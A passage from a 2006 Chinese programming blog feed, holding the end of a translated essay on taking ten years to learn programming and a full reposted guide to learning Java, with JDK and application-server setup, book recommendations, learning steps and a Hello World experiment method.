/>Pascal：在3天时间里你可以学会Pascal的语法（如果你已经会一门类似的语言），但你无法学到多少如何运用这些语法。简而言之，如果你是，比如说一个Basic程序员，你可以学会用Pascal语法写出Basic风格的程序，但你学不到Pascal真正的优点（和缺点）。那关键在哪里？Alan Perlis（译注：ACM第一任主席，图灵奖得主，1922-1990）曾经说过：“如果一门语言不能影响你对编程的想法，那它就不值得去学”。另一种观点是，有时候你不得不学一点Pascal（更可能是Visual Basic和JavaScript之类）的皮毛，因为你需要接触现有的工具，用来完成特定的任务。但此时你不是在学习如何编程，你是在学习如何完成任务。<br /><br />3天：不幸的是，这是不够的，正如下一节所言。<br /><br /><br /><br /><br /><br />10年编程无师自通<br /><br />一些研究者（Hayes、Bloom）的研究表明，在许多领域，都需要大约10 年时间才能培养出专业技能，包括国际象棋、作曲、绘画、钢琴、游泳、网球，以及神经心理学和拓扑学的研究。似乎并不存在真正的捷径：即使是莫扎特，他4 岁就显露出音乐天才，在他写出世界级的音乐之前仍然用了超过13年时间。再看另一种音乐类型的代表--披头士，他们似乎是在1964年的Ed Sullivan节目中突然冒头的。但其实他们从1957年就开始表演了，即使他们很早就显示出了巨大的吸引力，他们第一次真正的成功之作《Sgt. Peppers》也要到1967年才发行。Samuel Johnson（译注：英国诗人）认为10 年还是不够的：“任何领域的卓越成就都只能通过一生的努力来获得；稍低一点的代价也换不来。”（Excellence in any department can be attained only by the labor of a lifetime; it is not to be purchased at a lesser price.） 乔叟（译注：Chaucer，英国诗人，1340-1400）也抱怨说：“生命如此短暂，掌握技艺却要如此长久。”（the lyf so short, the craft so long to lerne.）<br />下面是我在编程这个行当里获得成功的处方：<br /><br /><br /><br />对编程感兴趣，因为乐趣而去编程。确定始终都能保持足够的乐趣，以致你能够将10年时间投入其中。<br /><br />跟其他程序员交谈；阅读其他程序。这比任何书籍或训练课程都更重要。<br /><br />编程。最好的学习是从实践中学习。用更加技术性的语言来讲，“个体在特定领域最高水平的表现不是作为长期的经验的结果而自动获得的，但即使是非常富有经验的个体也可以通过刻意的努力而提高其表现水平。”（p. 366），而且“最有效的学习要求为特定个体制定适当难度的任务，有意义的反馈，以及重复及改正错误的机会。”（p. 20-21）《Cognition in Practice: Mind, Mathematics, and Culture in Everyday Life》（在实践中认知：心智、数学和日常生活的文化）是关于这个观点的一本有趣的参考书。<br /><br />如果你愿意，在大学里花上4年时间（或者再花几年读研究生）。这能让你获得一些工作的入门资格，还能让你对此领域有更深入的理解，但如果你不喜欢进学校，（作出一点牺牲）你在工作中也同样能获得类似的经验。在任何情况下，单从书本上学习都是不够的。“计算机科学的教育不会让任何人成为内行的程序员，正如研究画笔和颜料不会让任何人成为内行的画家”，Eric Raymond，《The New Hacker's Dictionary》（新黑客字典）的作者如是说。我曾经雇用过的最优秀的程序员之一仅有高中学历；但他创造出了许多伟大的软件，甚至有讨论他本人的新闻组，而且股票期权让他达到我无法企及的富有程度（译注：指Jamie Zawinski，XEmacs和Netscape Navigator的作者）。<br /><br />跟别的程序员一起完成项目。在一些项目中成为最好的程序员；在其他一些项目中当最差的一个。当你是最好的程序员时，你要测试自己领导项目的能力，并通过你的洞见鼓舞其他人。当你是最差的时候，你学习高手们在做些什么，以及他们不喜欢做什么（因为他们让你帮他们做那些事）。<br /><br />接手别的程序员完成项目。用心理解别人编写的程序。看看在没有最初的程序员在场的时候理解和修改程序需要些什么。想一想怎样设计你的程序才能让别人接手维护你的程序时更容易一些。<br /><br />学会至少半打编程语言。包括一门支持类抽象（class abstraction）的语言（如Java或C++），一门支持函数抽象（functional abstraction）的语言（如Lisp或ML），一门支持句法抽象（syntactic abstraction）的语言（如Lisp），一门支持说明性规约（declarative specification）的语言（如Prolog或C++模版），一门支持协程（coroutine）的语言（如Icon或Scheme），以及一门支持并行处理（parallelism）的语言（如Sisal）。<br /><br />记住在“计算机科学”这个词组里包含“计算机”这个词。了解你的计算机执行一条指令要多长时间，从内存中取一个word要多长时间（包括缓存命中和未命中的情况），从磁盘上读取连续的数据要多长时间，定位到磁盘上的新位置又要多长时间。（答案在这里。）<br /><br />尝试参与到一项语言标准化工作中。可以是ANSI C++委员会，也可以是决定自己团队的编码风格到底采用2个空格的缩进还是4个。不论是哪一种，你都可以学到在这门语言中到底人们喜欢些什么，他们有多喜欢，甚至有可能稍微了解为什么他们会有这样的感觉。<br /><br />拥有尽快从语言标准化工作中抽身的良好判断力。<br /><br /><br />抱着这些想法，我很怀疑从书上到底能学到多少东西。在我第一个孩子出生前，我读完了所有“怎样……”的书，却仍然感到自己是个茫无头绪的新手。30个月后，我第二个孩子出生的时候，我重新拿起那些书来复习了吗？不。相反，我依靠我自己的经验，结果比专家写的几千页东西更有用更靠得住。<br />Fred Brooks在他的短文《No Silver Bullets》（没有银弹）中确立了如何发现杰出的软件设计者的三步规划：<br /><br /><br /><br />尽早系统地识别出最好的设计者群体。<br /><br />指派一个事业上的导师负责有潜质的对象的发展，小心地帮他保持职业生涯的履历。<br /><br />让成长中的设计师们有机会互相影响，互相激励。<br /><br /><br />这实际上是假定了有些人本身就具有成为杰出设计师的必要潜质；要做的只是引导他们前进。Alan Perlis说得更简洁：“每个人都可以被教授如何雕塑；而对米开朗基罗来说，能教给他的倒是怎样能够不去雕塑。杰出的程序员也一样”。<br />所以尽管去买那些Java书；你很可能会从中找到些用处。但你的生活，或者你作为程序员的真正的专业技术，并不会因此在24小时、24天甚至24个月内发生真正的变化。<br /><br /><br /><br />参考文献<br /><br />Bloom, Benjamin (ed.) Developing Talent in Young People, Ballantine, 1985. <br />Brooks, Fred, No Silver Bullets, IEEE Computer, vol. 20, no. 4, 1987, p. 10-19. <br />Hayes, John R., Complete Problem Solver, Lawrence Erlbaum, 1989. <br />Lave, Jean, Cognition in Practice: Mind, Mathematics, and Culture in Everyday Life, Cambridge University Press, 1988. <br /><br /><br /><br />答案<br /><br />各种操作的计时，2001年夏天在一台典型的1GHz PC上完成：<br />　　　　执行单条指令　　　　　　　　　　　　1 纳秒 = (1/1,000,000,000) 秒<br />　　　　从L1缓存中取一个word　　　　　　　　2 纳秒<br />　　　　从主内存中取一个word　　　　　　　　10 纳秒<br />　　　　从连续的磁盘位置中取一个word　　　　200 纳秒<br />　　　　从新的磁盘位置中取一个word（寻址）　8,000,000纳秒 = 8毫秒<br /><br /><br /><br />脚注<br /><br />T. Capey指出Amazon上面《Complete Problem Solver》的页面中，《Teach Yourself Bengali in 21 days》和《Teach Yourself Grammar and Style》被列在了“购买此书的顾客还买了以下书籍”栏目里面。我猜其中一大部分察看这两本书的人都是从我这里过去的。</font>
		</div>
<img src ="http://www.cnitblog.com/weitom1982/aggbug/10201.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/weitom1982/" target="_blank">高山流水</a> 2006-05-08 16:21 <a href="http://www.cnitblog.com/weitom1982/archive/2006/05/08/10201.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>真正的Java学习从入门到精通</title><link>http://www.cnitblog.com/weitom1982/archive/2006/05/08/10200.html</link><dc:creator>高山流水</dc:creator><author>高山流水</author><pubDate>Mon, 08 May 2006 08:20:00 GMT</pubDate><guid>http://www.cnitblog.com/weitom1982/archive/2006/05/08/10200.html</guid><wfw:comment>http://www.cnitblog.com/weitom1982/comments/10200.html</wfw:comment><comments>http://www.cnitblog.com/weitom1982/archive/2006/05/08/10200.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/weitom1982/comments/commentRss/10200.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/weitom1982/services/trackbacks/10200.html</trackback:ping><description><![CDATA[
		<table cellspacing="0" cellpadding="0" width="90%" border="0">
				<tbody>
						<tr>
								<td style="FONT-SIZE: 11pt; COLOR: #ff0000; FONT-FAMILY: 宋体" align="middle" bgcolor="#fafafa" height="24">
										<b>
										</b>
								</td>
						</tr>
						<tr>
								<td style="COLOR: #c0c0c0" align="middle" bgcolor="#fafafa" height="50">
								</td>
						</tr>
						<tr>
								<td style="WORD-BREAK: break-all; WORD-WRAP: break-word" bgcolor="#fafafa" height="123">
										<table width="300" align="left" border="0">
												<tbody>
														<tr>
																<td>
																</td>
														</tr>
												</tbody>
										</table>
										<p class="fontsize10" style="FONT-SIZE: 10.5pt">一、 工具篇JDK (Java Development Kit)<br /><br />JDK是整个Java的核心，包括了Java运行环境（Java Runtime Envirnment），一堆Java工具和Java基础的类库(rt.jar)。不论什么Java应用服务器实质都是内置了某个版本的JDK。因此掌握JDK是学好Java的第一步。最主流的JDK是Sun公司发布的JDK，除了Sun之外，还有很多公司和组织都开发了自己的JDK，例如IBM公司开发的JDK，BEA公司的Jrocket，还有GNU组织开发的JDK等等。其中IBM的JDK包含的JVM（Java Virtual Machine）运行效率要比Sun JDK包含的JVM高出许多。而专门运行在x86平台的Jrocket在服务端运行效率也要比Sun JDK好很多。但不管怎么说，我们还是需要先把Sun JDK掌握好。<br /><br />1、 JDK的下载和安装<br /><br />JDK又叫做J2SE（Java2 SDK Standard Edition），可以从Sun的Java网站上下载到，http://java.sun.com/j2se/downloads.html ，JDK当前最新的版本是J2SDK1.4.2，建议下载该版本的JDK，下载页面在这里：http://java.sun.com/j2se/1.4.2/download.html。下载好的JDK是一个可执行安装程序，默认安装完毕后会在C:\Program Files\Java\目录下安装一套JRE（供浏览器来使用），在C:\j2sdk1.4.2下安装一套JDK（也包括一套JRE）。然后我们需要在环境变量PATH的最前面增加java的路径C:\j2sdk1.4.2\bin。这样JDK就安装好了。<br /><br />2、 JDK的命令工具<br /><br />JDK的最重要命令行工具：<br /><br /><br />java： 启动JVM执行class<br />javac： Java编译器<br />jar： Java打包工具<br />javadoc： Java文档生成器<br /><br /><br /><br /><br />这些命令行必须要非常非常熟悉，对于每个参数都要很精通才行。对于这些命令的学习，JDK Documentation上有详细的文档。 <br /><br />二、 JDK Documentation <br /><br />Documentation在JDK的下载页面也有下载连接，建议同时下载Documentation。Documentation是最最重要的编程手册，涵盖了整个Java所有方面的内容的描述。可以这样说，学习Java编程，大部分时间都是花在看这个Documentation上面的。我是随身携带的，写Java代码的时候，随时查看，须臾不离手。 <br /><br />三、 应用服务器(App Server)<br /><br /><br /><br />App Server是运行Java企业组件的平台，构成了应用软件的主要运行环境。当前主流的App Server是BEA公司的Weblogic Server和IBM公司的Websphere以及免费的Jboss，选择其中一个进行学习就可以了，个人推荐Weblogic，因为它的体系结构更加干净，开发和部署更加方便，是Java企业软件开发人员首选的开发平台。下面简要介绍几种常用的App Server： <br /><br />1、 Tomcat <br /><br />Tomcat严格意义上并不是一个真正的App Server，它只是一个可以支持运行Serlvet/JSP的Web容器，不过Tomcat也扩展了一些App Server的功能，如JNDI，数据库连接池，用户事务处理等等。Tomcat被非常广泛的应用在中小规模的Java Web应用中，因此本文做一点下载、安装和配置Tomcat的介绍： <br /><br />Tomcat是Apache组织下Jakarta项目下的一个子项目，它的主网站是：http://jakarta.apache.org/tomcat/ ，Tomcat最新版本是Tomcat4.1.27，软件下载的连接是：http://www.apache.org/dist/jakarta/tomcat-4/binaries/ 。 <br /><br />下载Tomcat既可以直接下载zip包，也可以下载exe安装包（个人建议zip更干净些），不管哪种情况，下载完毕安装好以后（zip直接解压缩就可以了）。需要设置两个环境变量： <br /><br /><br />JAVA_HOME=C:\j2sdk1.4.2<br />CATALINA_HOME=D:\tomcat4 (你的Tomcat安装目录)<br /><br /><br /><br /><br />这样就安装好了，启动Tomcat运行CATALINA_HOME\bin\startup.bat，关闭Tomcat运行shutdown.bat脚本。Tomcat启动以后，默认使用8080端口，因此可以用浏览器访问http://localhost:8080来测试Tomcat是否正常启动。 <br /><br /><br /><br />Tomcat提供了两个Web界面的管理工具，URL分别是： <br /><br />http://localhost:8080/admin/index.jsp <br /><br />http://localhost:8080/manager/html <br /><br />在启用这两个管理工具之前，先需要手工配置一下管理员用户和口令。用一个文本工具打开CATALINA_HOME\conf\tomcat-users.xml这个文件，加入如下几行： <br /><br /><br />&lt;role rolename="manager"/&gt;<br />&lt;role rolename="admin"/&gt;<br />&lt;user username="robbin" password="12345678" roles="admin,manager,tomcat"/&gt;<br /><br /><br /><br /><br />这样用户“robbin”就具备了超级管理员权限。重新启动Tomcat以后，你就可以使用该用户来登陆如上的两个管理工具，通过Web方式进行Tomcat的配置和管理了。 <br /><br />2、 BEA Weblogic <br /><br />Weblogic可以到BEA的网站上免费注册之后下载到最新的Weblogic8.1企业版，License可以免费使用1年时间，其实这已经完全足够了。Weblogic的下载连接：http://commerce.bea.com/index.jsp，.../edocs.bea.com/ 。 <br /><br />3、 IBM Webshpere <br /><br />Websphere同样可以下载到免费的试用版本，到IBM的developerWorks网站可以看到Websphere试用产品的下载和相关的Websphere的资料，developerWorks中文网站的连接是：http://www-900.ibm.com/developerWorks/cn/wsdd/ ，Websphere的下载连接：http://www7b.software.ibm.com/wsdd/...WASsupport.html 。 <br /><br />4、 Jboss <br /><br />Jboss是免费开源的App Server，可以免费的从Jboss网站下载：http://www.jboss.org/index.html，然...n.com/idea.html <br /><br />四、 Java应用的运行环境 <br /><br />Java的应用可以简单分为以下几个方面： <br /><br />1、 Java的桌面应用 <br /><br />桌面应用一般仅仅需要JRE的支持就足够了。 <br /><br /><br /><br />2、 Java Web应用 <br /><br />Java的Web应用至少需要安装JDK和一个web容器（例如Tomcat），以及一个多用户数据库，Web应用至少分为三层： <br /><br />Browser层：浏览器显示用户页面 <br /><br />Web层：运行Servlet/JSP <br /><br />DB层：后端数据库，向Java程序提供数据访问服务 <br /><br /><br /><br />3、 Java企业级应用 <br /><br />企业级应用比较复杂，可以扩展到n层，最简单情况会分为4层： <br /><br />Browser层：浏览器显示用户页面 <br /><br />Client层：Java客户端图形程序（或者嵌入式设备的程序）直接和Web层或者EJB层交互 <br /><br />Web层：运行Servlet/JSP <br /><br />EJB层：运行EJB，完成业务逻辑运算 <br /><br />DB层：后端数据库，向Java程序提供数据访问服务 <br /><br /><br /><br />4、 Java嵌入式应用 <br /><br />Java嵌入式应用是一个方兴未艾的领域，从事嵌入式开发，需要从Sun下载J2ME开发包，J2ME包含了嵌入式设备专用虚拟机KVM，和普通的JDK中包含的JVM有所不同。另外还需要到特定的嵌入式厂商那里下载模拟器。  <br /><br /><br />书籍篇<br /><br />学习一门新的知识，不可能指望只看一本，或者两本书就能够完全掌握。需要有一个循序渐进的阅读过程。我推荐Oreilly出版的Java系列书籍。<br /><br />在这里我只想补充一点看法，很多人学习Java是从《Thinking in Java》这本书入手的，但是我认为这本书是不适合初学者的。我认为正确的使用这本书的方法应该是作为辅助的读物。《Thinking in Java》并不是在完整的介绍Java的整个体系，而是一种跳跃式的写作方法，是一种类似tips的方法来对Java很多知识点进行了深入的分析和解释。<br /><br />对于初学者来说，最好是找一本Java入门的书籍，但是比较完整的循序的介绍Java的语法，面向对象的特性，核心类库等等，在看这本书的同时，可以同步来看《Thinking in Java》，来加深对Java的理解和原理的运用，同时又可以完整的了解Java的整个体系。<br /><br />对于Java的入门书籍，蔡学镛推荐的是Oreilly的《Exploring Java, 2nd Edition》 或者《Java in a Nutshell,2nd Edition（针对C++背景）》，我并没有看过这两本书。其实我觉得电子工业出版社的《Java 2编程详解》或者《Java 2从入门到精通》就很不错。<br /><br />在所有的Java书籍当中，其实最最有用的，并不是O'reilly的 Java Serials，真正最最有用处是JDK的Documentation！几乎你想获得的所有的知识在Documentation里面全部都有，其中最主要的部分当然是Java基础类库的API文档，是按照package来组织的，对于每一个class都有详细的解释，它的继承关系，是否实现了某个接口，通常用在哪些场合，还可以查到它所有的public的属性和方法，每个属性的解释，意义，每个方法的用途，调用的参数，参数的意义，返回值的类型，以及方法可能抛出的异常等等。<br /><br />可以这样来说，所有关于Java编程方面的书籍其实都不过是在用比较通俗易懂的语言，和良好的组织方式来介绍Documentation里面的某个package里面包含的一些类的用法而已。所以万变不离其宗，如果你有足够的能力来直接通过Documentation来学习Java的类库，那么基本上就不需要看其他的书籍了。除此之外，Documentation也是编程必备的手册，我的桌面上有三个Documentation的快捷方式，分别是J2SDK1.4.1的Documentation，Servlet2.3的Documentation和J2SDKEE1.3.1的Documentation。有了这个三个Documentation，什么其他的书籍都不需要了。<br /><br />对于Java Web 编程来说，最核心的是要熟悉和掌握HTTP协议，这个就和Java无关了，在熟悉HTTP协议之后，就需要熟悉Java的实现HTTP协议的类库，也就是Servlet API，所以最重要的东西就是Servlet API。当然对于初学者而言，直接通过Servlet API来学习Web编程有很大的难度，我推荐O'reilly的《Java Server Pages 》这本书来学习Web 编程。<br /><br />EJB的书籍当中，《Enterprise JavaBeans, 2nd Edition》是一本很不错的书， EJB的学习门槛是比较高，入门很难，但是这本书完全降低了学习的难度，特别重要的一点是，EJB的学习需要结合一种App Server的具体实现，所以在学习EJB的同时，必须同步的学习某种App Server，而这本书相关的出了三本书，分别是Weblogic6.1，Websphere4.0和JBoss3.0上面部署书中例子的实做。真是既有理论，又有实践。在学习EJB的同时，可以边看边做，EJB的学习会变得很轻松。<br /><br />但是这本书也有一个问题，就是版本比较旧，主要讲EJB1.1规范和部分EJB2.0的规范。而Ed Roman写的《Mastering EJB 2.0》这本书完全是根据EJB2.0规范写的，深入浅出，覆盖了EJB编程的各个方面，并且还有很多编程经验tips，也是学习EJB非常推荐的书籍之一。<br /><br />如果是结合Weblogic来学习J2EE的话，《J2EE应用与BEA Weblogic Server》绝对是首选读物，虽然是讲述的Weblogic6.0，仍然值得购买，这本书是BEA官方推荐的教材，作者也是BEA公司的工程师。现在中文版已经随处可见了。这本书结合Weblogic介绍了J2EE各个方面的技术在Weblogic平台上的开发和部署，实践指导意义非常强。<br /><br />在掌握了Java平台基础知识和J2EE方面的知识以后，更进一步的是学习如何运用OO的方法进行软件的设计，那么就一定要学习“设计模式”。Sun公司出版了一本《J2EE核心模式》，是每个开发Java企业平台软件的架构师必备的书籍。这本书全面的介绍了J2EE体系架构的各种设计模式，是设计师的必读书籍。<br /><br />过程篇<br /><br />每个人的学习方法是不同的，一个人的方法不见得适合另一个人，我只能是谈自己的学习方法。因为我学习Java是完全自学的，从来没有问过别人，所以学习的过程基本上完全是自己摸索出来的。我也不知道这种方法是否是比较好的方法，只能给大家提供一点参考了。<br /><br />学习Java的第一步是安装好JDK，写一个Hello World，? 其实JDK的学习没有那么简单，关于JDK有两个问题是很容易一直困扰Java程序员的地方：一个是CLASSPATH的问题，其实从原理上来说，是要搞清楚JRE的ClassLoader是如何加载Class的；另一个问题是package和import问题，如何来寻找类的路径问题。把这两个问题摸索清楚了，就扫除了学习Java和使用JDK的最大障碍。推荐看一下王森的《Java深度历险》，对这两个问题进行了深入的探讨。<br /><br />第二步是学习Java的语法。Java的语法是类C++的，基本上主流的编程语言不是类C，就是类C++的，没有什么新东西，所以语法的学习，大概就是半天的时间足够了。唯一需要注意的是有几个不容易搞清楚的关键字的用法，public，protected，private，static，什么时候用，为什么要用，怎么用，这可能需要有人来指点一下，我当初是完全自己琢磨出来的，花了很久的时间。不过后来我看到《Thinking in Java》这本书上面是讲了这些概念的。<br /><br />第三步是学习Java的面向对象的编程语言的特性的地方。比如继承，构造器，抽象类，接口，方法的多态，重载，覆盖，Java的异常处理机制。对于一个没有面向对象语言背景的人来说，我觉得这个过程需要花很长很长时间，因为学习Java之前没有C++的经验，只有C的经验，我是大概花了一个月左右吧，才彻底把这些概念都搞清楚，把书上面的例子反复的揣摩，修改，尝试，把那几章内容反复的看过来，看过去，看了不下5遍，才彻底领悟了。不过我想如果有C++经验的话，应该一两天时间足够了。那么在这个过程中，可以多看看《Thinking in Java》这本书，对面向对象的讲解非常透彻。可惜的是我学习的时候，并没有看到这本书，所以自己花了大量的时间，通过自己的尝试和揣摩来学会的。<br /><br />第四步就是开始熟悉Java的类库。Java的基础类库其实就是JDK安装目录下面jre\lib\rt.jar这个包。学习基础类库就是学习rt.jar。基础类库里面的类非常非常多。据说有3000多个，我没有统计过。但是真正对于我们来说最核心的只有4个，分别是<br /><br /><br />java.lang.*;<br />java.io.*;<br />java.util.*;<br />java.sql.*;<br /><br /><br /><br /><br />这四个包的学习，每个包的学习都可以写成一本厚厚的教材，而O'reilly也确实是这样做的。我觉得如果时间比较紧，是不可能通过读四本书来学习。我觉得比较好的学习方法是这样的：<br /><br /><br /><br />首先要通读整个package的框架，了解整个package的class，interface，exception的构成，最好是能够找到介绍整个包框架的文章。这些专门介绍包的书籍的前几章应该就是这些总体的框架内容介绍。 <br /><br />对包整体框架的把握并不是要熟悉每个类的用法，记住它有哪些属性，方法。想记也记不住的。而是要知道包有哪些方面的类构成的，这些类的用途是什么，最核心的几个类分别是完成什么功能的。我在给人培训的时候一般是一次课讲一个包，所以不可能详细的介绍每个类的用法，但是我反复强调，我给你们讲这些包的不是要告诉你们类的方法是怎么调用的，也不要求你们记住类的方法调用，而是要你们了解，Java给我们提供了哪些类，每个类是用在什么场合，当我遇到问题的时候，我知道哪个类，或者哪几个类的组合可以解决我的问题，That'all！，当我们具体写程序的时候，只要你知道该用哪个类来完成你的工作就足够了。编码的时候，具体的方法调用，是边写代码，边查Documentation，所有的东西都在Documentation里面，不要求你一定记住，实际你也记不住3000多个类的总共将近10万个方法调用。所以对每个包的总体框架的把握就变得极为重要。 <br /><br /><br /><br />第五步，通过上面的学习，如果学的比较扎实的话，就打好了Java的基础了，剩下要做的工作是扫清Documentation里面除了上面4个包之外的其他一些比较有用处的类。相信进展到这一步，Java的自学能力已经被培养出来了，可以到了直接学习Documentation的水平了。除了要做GUI编程之外，JDK里面其他会有用处的包是这些： <br /><br /><br />java.text.*;<br />java.net.*;<br />javax.naming.*;<br /><br /><br /><br /><br /><br /><br />这些包里面真正用的比较多的类其实很少，只有几个，所以不需要花很多时间。 <br /><br />第六步，Java Web 编程 <br /><br />Web编程的核心是HTTP协议，HTTP协议和Java无关，如果不熟悉HTTP协议的话，虽然也可以学好Servlet/JSP编程，但是达不到举一反三，一通百通的境界。所以HTTP协议的学习是必备的。如果熟悉了HTTP协议的话，又有了Java编程的良好的基础，学习Servlet/JSP简直易如反掌，我学习Servlet/JSP就用了不到一周的时间，然后就开始用JSP来做项目了。 <br /><br /><br /><br />在Servlet/JSP的学习中，重头仍然是Servlet Documentation。Servlet API最常用的类很少，花比较少的时间就可以掌握了。把这些类都看一遍，多写几个例子试试。Servlet/JSP编程本质就是在反复调用这些类来通过HTTP协议在Web Server和Brower之间交谈。另外对JSP，还需要熟悉几个常用JSP的标记，具体的写法记不住的话，临时查就是了。 <br /><br /><br /><br />此外Java Web编程学习的重点要放在Web Application的设计模式上，如何进行业务逻辑的分析，并且进行合理的设计，按照MVC设计模式的要求，运用Servlet和JSP分别完成不同的逻辑层，掌握如何在Servlet和JSP之间进行流程的控制和数据的共享，以及Web Application应该如何配置和部署。 <br /><br /><br />第七步，J2EE编程<br /><br />以上的学习过程如果是比较顺利的话，进行到这一步，难度又陡然提高。因为上面的知识内容都是只涉及一个方面，而像EJB，JMS，JTA等核心的J2EE规范往往是几种Java技术的综合运用的结晶，所以掌握起来难度比较大。<br /><br />首先一定要学习好JNDI，JNDI是App Server定位服务器资源（EJB组件，Datasouce，JMS）查找方法，如果对JNDI不熟悉的话，EJB，JMS这些东西几乎学不下去。JNDI其实就是javax.naming.*这个包，运用起来很简单。难点在于服务器资源文件的配置。对于服务器资源文件的配置，就需要看看专门的文档规范了，比如web.xml的写法，ejb-jar.xml的写法等等。针对每种不同的App Server，还有自己的服务资源配置文件，也是需要熟悉的。<br /><br />然后可以学习JTA，主要是要理解JTA对于事务的控制的方法，以及该在什么场合使用JTA。这里可以简单的举个例子，我们知道一般情况可以对于一个数据库连接进行事务控制(conn.setAutoCommit(false),....,conn.commit())，做为一个原子操作，但是假设我的业务需求是要把对两个不同数据库的操作做为一个原子操作，你能做的到吗？这时候只能用JTA了。假设操作过程是先往A数据库插一条记录，然后删除B数据库另一个记录，我们自己写代码是控制不了把整个操作做为一个原子操作的。用JTA的话，由App Server来完成控制。<br /><br />在学习EJB之前要学习对象序列化和RMI，RMI是EJB的基础。接着学习JMS和EJB，对于EJB来说，最关键是要理解EJB是如何通过RMI来实现对远端对象的调用的，以及在什么情况下要用到EJB。<br /><br />在学习完EJB，JMS这些东西之后，你可能会意识到要急不可待学习两个领域的知识，一个是UML，另一个是Design Pattern。Java企业软件的设计非常重视框架(Framework)的设计，一个好的软件框架是软件开发成功的必要条件。在这个时候，应该开始把学习的重点放在设计模式和框架的学习上，通过学习和实际的编程经验来掌握EJB的设计模式和J2EE的核心模式。<br /><br />J2EE规范里面，除了EJB，JMS，JTA，Servlet/JSP，JDBC之外还有很多很多的企业技术，这里不一一进行介绍了。<br /><br />另外还有一个最新领域Web Services。Web Services也完全没有任何新东西，它像是一种黏合剂，可以把不同的服务统一起来提供一个统一的调用接口，作为使用者来说，我只要获得服务提供者给我的WSDL（对服务的描述），就够了，我完全不知道服务器提供者提供的服务究竟是EJB组件，还是.Net组件，还是什么CORBA组件，还是其他的什么实现，我也不需要知道。<br /><br />Web Services最伟大的地方就在于通过统一的服务提供方式和调用方式，实现了整个Internet服务的共享，是一个非常令人激动的技术领域。Web Services好像目前还没有什么很好的书籍，但是可以通过在网络上面查资料的方式来学习。<br /><br />方法篇<br /><br />Java作为一门编程语言，最好的学习方法就是写代码。当你学习一个类以后，你就可以自己写个简单的例子程序来运行一下，看看有什么结果，然后再多调用几个类的方法，看看运行结果，这样非常直观的把类给学会了，而且记忆非常深刻。<br /><br />然后不应该满足把代码调通，你应该想想看如果我不这样写，换个方式，再试试行不行。记得哪个高人说过学习编程就是个破坏的过程，把书上的例子，自己学习Documentation编写的例子在运行通过以后，不断的尝试着用不同的方法实现，不断的尝试破坏代码的结构，看看它会有什么结果。通过这样的方式，你会很彻底的很精通的掌握Java。<br /><br />举个例子，我们都编过Hello World<br /><br /><br />public class HelloWorld {<br />public static void main(String[] args) {<br />System.out.println("Hello World");<br />}<br />}<br /><br /><br /><br /><br />很多初学者不是很理解为什么main方法一定要这样来定义public static void main(String[] args)，能不能不这样写？包括我刚学习Java的时候也有这样的疑问。想知道答案吗？很简单，你把main改个名字运行一下，看看报什么错误，然后根据出错信息进行分析；把main的public取掉，在试试看，报什么错误；static去掉还能不能运行；不知道main方法是否一定要传一个String[]数组的，把String[]改掉，改成int[]，或者String试试看；不知道是否必须写args参数名称的，也可以把args改成别的名字，看看运行结果如何。 <br /><br /><br /><br />我当初学习Java的时候就是这样做的，把Hello World程序反复改了七八次，不断运行，分析运行结果，最后就彻底明白为什么了main方法是这样定义的了。 <br /><br /><br /><br />此外，我对于staic，public，private，Exception，try{ }catch {}finally{}等等等等一开始都不是很懂，都是把参考书上面的例子运行成功，然后就开始破坏它，不断的根据自己心里面的疑问来重新改写程序，看看能不能运行，运行出来是个什么样子，是否可以得到预期的结果。这样虽然比较费时间，不过一个例子程序这样反复破坏几次之后。我就对这个相关的知识彻底学通了。有时候甚至故意写一些错误的代码来运行，看看能否得到预期的运行错误。这样对于编程的掌握是及其深刻的。 <br /><br /><br /><br />其中特别值得一提的是JDK有一个非常棒的调试功能，-verbose <br /><br /><br />java –verbose<br />javac –verbose 以及其它很多JDK工具都有这个选项<br />-verbose<br /><br /><br /><br /><br />可以显示在命令执行的过程中，JVM都依次加载哪里Class，通过这些宝贵的调试信息，可以帮助我们分析出JVM在执行的过程中都干了些什么。 <br /><br />另外，自己在学习过程中，写的很多的这种破坏例程，应该有意识的分门别类的保存下来，在工作中积累的典型例程也应该定期整理，日积月累，自己就有了一个代码库了。遇到类似的问题，到代码库里面 Copy &amp; Paste ，Search &amp; Replace，就好了，极大提高了开发速度。最理想的情况是把一些通用的例程自己再抽象一层，形成一个通用的类库，封装好。那么可复用性就更强了。 <br /><br /><br /><br />所以我觉得其实不是特别需要例程的，自己写的破坏例程就是最好的例子，如果你实在对自己写的代码不放心的话，我强烈推荐你看看JDK基础类库的Java源代码。在JDK安装目录下面会有一个src.zip，解开来就可以完整的看到整个JDK基础类库，也就是rt.jar的Java源代码，你可以参考一下Sun是怎么写Java程序的，规范是什么样子的。我自己在学习Java的类库的时候，当有些地方理解的不是很清楚的时候，或者想更加清晰的理解运作的细节的时候，往往会打开相应的类的源代码，通过看源代码，所有的问题都会一扫而空。</p>
								</td>
						</tr>
				</tbody>
		</table>
<img src ="http://www.cnitblog.com/weitom1982/aggbug/10200.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/weitom1982/" target="_blank">高山流水</a> 2006-05-08 16:20 <a href="http://www.cnitblog.com/weitom1982/archive/2006/05/08/10200.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>对目前主流开发技术的分析和总结</title><link>http://www.cnitblog.com/weitom1982/archive/2006/05/08/10199.html</link><dc:creator>高山流水</dc:creator><author>高山流水</author><pubDate>Mon, 08 May 2006 08:17:00 GMT</pubDate><guid>http://www.cnitblog.com/weitom1982/archive/2006/05/08/10199.html</guid><wfw:comment>http://www.cnitblog.com/weitom1982/comments/10199.html</wfw:comment><comments>http://www.cnitblog.com/weitom1982/archive/2006/05/08/10199.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/weitom1982/comments/commentRss/10199.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/weitom1982/services/trackbacks/10199.html</trackback:ping><description><![CDATA[
		<p>[转]对目前主流开发技术的分析和总结</p>
		<p>一、引言　我为什么要写这篇文章　</p>
